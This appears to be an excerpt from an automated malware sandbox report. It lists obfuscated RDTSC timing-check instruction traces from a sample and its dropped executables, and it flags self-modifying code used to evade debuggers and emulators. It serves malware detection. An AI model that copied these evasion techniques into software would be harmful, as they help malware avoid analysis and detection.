Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54906B6 second address: 54906EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 704608E2h 0x00000008 push edx 0x00000009 pop ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d add eax, ecx 0x0000000f jmp 00007F9DB10DC5C5h 0x00000014 mov ecx, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F9DB10DC5BDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480191 second address: 5480197 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480197 second address: 54801D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F9DB10DC5C0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F9DB10DC5BCh 0x00000018 movzx ecx, bx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54801D8 second address: 54801DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54801DE second address: 5480224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9DB10DC5C0h 0x00000010 sub eax, 37E710B8h 0x00000016 jmp 00007F9DB10DC5BBh 0x0000001b popfd 0x0000001c mov ch, 50h 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F9DB10DC5BBh 0x00000026 sub esp, 2Ch 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480224 second address: 5480228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480228 second address: 548022E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548022E second address: 5480254 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F9DB0FF9A40h 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ax, dx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480254 second address: 548027D instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 mov di, ECA8h 0x0000000c mov eax, edi 0x0000000e popad 0x0000000f popad 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9DB10DC5C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548027D second address: 5480283 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480283 second address: 5480287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480287 second address: 548028B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548028B second address: 54802AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9DB10DC5C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54802AB second address: 54802B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54802B1 second address: 54802B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54802CF second address: 54802D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54802D3 second address: 54802D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54802D9 second address: 5480316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 53h 0x00000005 movzx esi, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, 00000000h 0x00000010 pushad 0x00000011 mov dx, si 0x00000014 jmp 00007F9DB0FF9A48h 0x00000019 popad 0x0000001a sub edi, edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9DB0FF9A3Ch 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480316 second address: 5480335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A534h 0x00000007 call 00007F9DB10DC5BDh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 inc ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480335 second address: 5480339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480339 second address: 5480351 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480351 second address: 5480368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9DB0FF9A41h 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480368 second address: 548037A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, dx 0x0000000f push edi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548037A second address: 54803A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 6389h 0x00000007 mov edx, ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F9DB0FF9B9Bh 0x00000012 pushad 0x00000013 jmp 00007F9DB0FF9A3Eh 0x00000018 mov bx, si 0x0000001b popad 0x0000001c lea ecx, dword ptr [ebp-14h] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803A8 second address: 54803AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803AC second address: 54803B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803B2 second address: 54803CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803CF second address: 54803D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803D3 second address: 54803D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803D9 second address: 54803DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803DF second address: 54803E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54803E3 second address: 54803E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480408 second address: 5480419 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5BDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480483 second address: 548050F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 71h 0x00000005 pushfd 0x00000006 jmp 00007F9DB0FF9A3Eh 0x0000000b and ecx, 04985048h 0x00000011 jmp 00007F9DB0FF9A3Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a js 00007F9DB0FF9A75h 0x00000020 jmp 00007F9DB0FF9A46h 0x00000025 cmp dword ptr [ebp-14h], edi 0x00000028 jmp 00007F9DB0FF9A40h 0x0000002d jne 00007F9E217979F6h 0x00000033 jmp 00007F9DB0FF9A40h 0x00000038 mov ebx, dword ptr [ebp+08h] 0x0000003b jmp 00007F9DB0FF9A40h 0x00000040 lea eax, dword ptr [ebp-2Ch] 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 mov ecx, 246ECC13h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548050F second address: 54805AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, eax 0x0000000b popad 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e movzx eax, bx 0x00000011 call 00007F9DB10DC5BFh 0x00000016 pushfd 0x00000017 jmp 00007F9DB10DC5C8h 0x0000001c add ah, 00000028h 0x0000001f jmp 00007F9DB10DC5BBh 0x00000024 popfd 0x00000025 pop esi 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F9DB10DC5C6h 0x0000002d xchg eax, esi 0x0000002e jmp 00007F9DB10DC5C0h 0x00000033 nop 0x00000034 jmp 00007F9DB10DC5C0h 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54805AC second address: 54805B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54805B0 second address: 54805CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54805CC second address: 5480626 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2965ABF4h 0x00000008 push ebx 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F9DB0FF9A3Fh 0x00000013 xchg eax, ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov cx, dx 0x0000001a pushfd 0x0000001b jmp 00007F9DB0FF9A47h 0x00000020 or al, FFFFFFEEh 0x00000023 jmp 00007F9DB0FF9A49h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480626 second address: 548066F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB10DC5C7h 0x00000009 sbb esi, 7E15A8FEh 0x0000000f jmp 00007F9DB10DC5C9h 0x00000014 popfd 0x00000015 mov cx, D147h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548066F second address: 5480673 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480673 second address: 5480679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480679 second address: 54806B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9DB0FF9A47h 0x00000009 xor esi, 0D9B83BEh 0x0000000f jmp 00007F9DB0FF9A49h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54806B6 second address: 54806C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54806C4 second address: 54806C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54806C8 second address: 54806CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480726 second address: 548072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548072A second address: 548072E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548072E second address: 5480734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480734 second address: 548073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548073A second address: 548073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 548073E second address: 5480742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480742 second address: 5470E1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a pushad 0x0000000b mov ebx, esi 0x0000000d pushfd 0x0000000e jmp 00007F9DB0FF9A44h 0x00000013 xor eax, 6DB82B08h 0x00000019 jmp 00007F9DB0FF9A3Bh 0x0000001e popfd 0x0000001f popad 0x00000020 je 00007F9E21797914h 0x00000026 xor eax, eax 0x00000028 jmp 00007F9DB0FD316Ah 0x0000002d pop esi 0x0000002e pop edi 0x0000002f pop ebx 0x00000030 leave 0x00000031 retn 0004h 0x00000034 nop 0x00000035 cmp eax, 00000000h 0x00000038 setne cl 0x0000003b xor ebx, ebx 0x0000003d test cl, 00000001h 0x00000040 jne 00007F9DB0FF9A37h 0x00000042 jmp 00007F9DB0FF9BABh 0x00000047 call 00007F9DB5FA3AEAh 0x0000004c mov edi, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470E1D second address: 5470E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470E21 second address: 5470E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470E27 second address: 5470E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470E40 second address: 5470EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b call 00007F9DB0FF9A3Fh 0x00000010 pop esi 0x00000011 pop edi 0x00000012 jmp 00007F9DB0FF9A46h 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007F9DB0FF9A40h 0x00000020 mov ebp, esp 0x00000022 jmp 00007F9DB0FF9A40h 0x00000027 xchg eax, ecx 0x00000028 pushad 0x00000029 pushad 0x0000002a popad 0x0000002b mov eax, edi 0x0000002d popad 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470EA6 second address: 5470EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5470EAA second address: 5470EB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480A82 second address: 5480A9A instructions: 0x00000000 rdtsc 0x00000002 call 00007F9DB10DC5BEh 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c mov cx, bx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480A9A second address: 5480AE6 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9DB0FF9A3Dh 0x00000008 xor cx, 6056h 0x0000000d jmp 00007F9DB0FF9A41h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 mov cl, 67h 0x0000001b mov di, 118Ch 0x0000001f popad 0x00000020 cmp dword ptr [75C7459Ch], 05h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F9DB0FF9A3Dh 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480AE6 second address: 5480AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480AEA second address: 5480AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 5480BD3 second address: 5480BE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, E6E7h 0x00000007 push eax 0x00000008 pop edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [ebp-1Ch], esi 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0793 second address: 54A0799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0799 second address: 54A079D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A079D second address: 54A0867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F9DB0FF9A3Fh 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9DB0FF9A44h 0x00000017 xor ah, FFFFFFF8h 0x0000001a jmp 00007F9DB0FF9A3Bh 0x0000001f popfd 0x00000020 call 00007F9DB0FF9A48h 0x00000025 pop esi 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F9DB0FF9A3Ch 0x0000002d xchg eax, esi 0x0000002e jmp 00007F9DB0FF9A40h 0x00000033 mov esi, dword ptr [ebp+0Ch] 0x00000036 jmp 00007F9DB0FF9A40h 0x0000003b test esi, esi 0x0000003d jmp 00007F9DB0FF9A40h 0x00000042 je 00007F9E217675B4h 0x00000048 jmp 00007F9DB0FF9A40h 0x0000004d cmp dword ptr [75C7459Ch], 05h 0x00000054 pushad 0x00000055 mov bx, si 0x00000058 popad 0x00000059 je 00007F9E2177F672h 0x0000005f push eax 0x00000060 push edx 0x00000061 pushad 0x00000062 push eax 0x00000063 pop ebx 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0867 second address: 54A087F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A087F second address: 54A089B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 mov ax, dx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A089B second address: 54A08A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 54A0992 second address: 54A09AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB0FF9A44h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 1008734 second address: 100873A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 100A112 second address: 100A118 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 100A118 second address: 100A132 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9DB10DC5C6h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 100A194 second address: 100A257 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F9DB0FF9A36h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F9DB0FF9A46h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push esi 0x00000017 jbe 00007F9DB0FF9A4Bh 0x0000001d pop esi 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F9DB0FF9A49h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 ja 00007F9DB0FF9A5Bh 0x0000002f pushad 0x00000030 jmp 00007F9DB0FF9A40h 0x00000035 jmp 00007F9DB0FF9A43h 0x0000003a popad 0x0000003b pop eax 0x0000003c sbb di, E39Ah 0x00000041 push 00000003h 0x00000043 jmp 00007F9DB0FF9A3Ah 0x00000048 push 00000000h 0x0000004a mov edx, dword ptr [ebp+122D38BAh] 0x00000050 push 00000003h 0x00000052 mov esi, dword ptr [ebp+122D292Fh] 0x00000058 call 00007F9DB0FF9A39h 0x0000005d pushad 0x0000005e push ecx 0x0000005f push esi 0x00000060 pop esi 0x00000061 pop ecx 0x00000062 pushad 0x00000063 pushad 0x00000064 popad 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 100A257 second address: 100A264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe RDTSC instruction interceptor: First address: 100A264 second address: 100A271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F9DB0FF9A36h 0x0000000d rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 4EED3E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 4EEC91 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 6A08BB instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 6CED52 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 6ACB53 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe Special instruction interceptor: First address: 7338FA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Special instruction interceptor: First address: E8DC7A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Special instruction interceptor: First address: 103BE06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Special instruction interceptor: First address: E9E927 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe Special instruction interceptor: First address: E9E89B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe Special instruction interceptor: First address: 10C8C02 instructions caused by: Self-modifying code
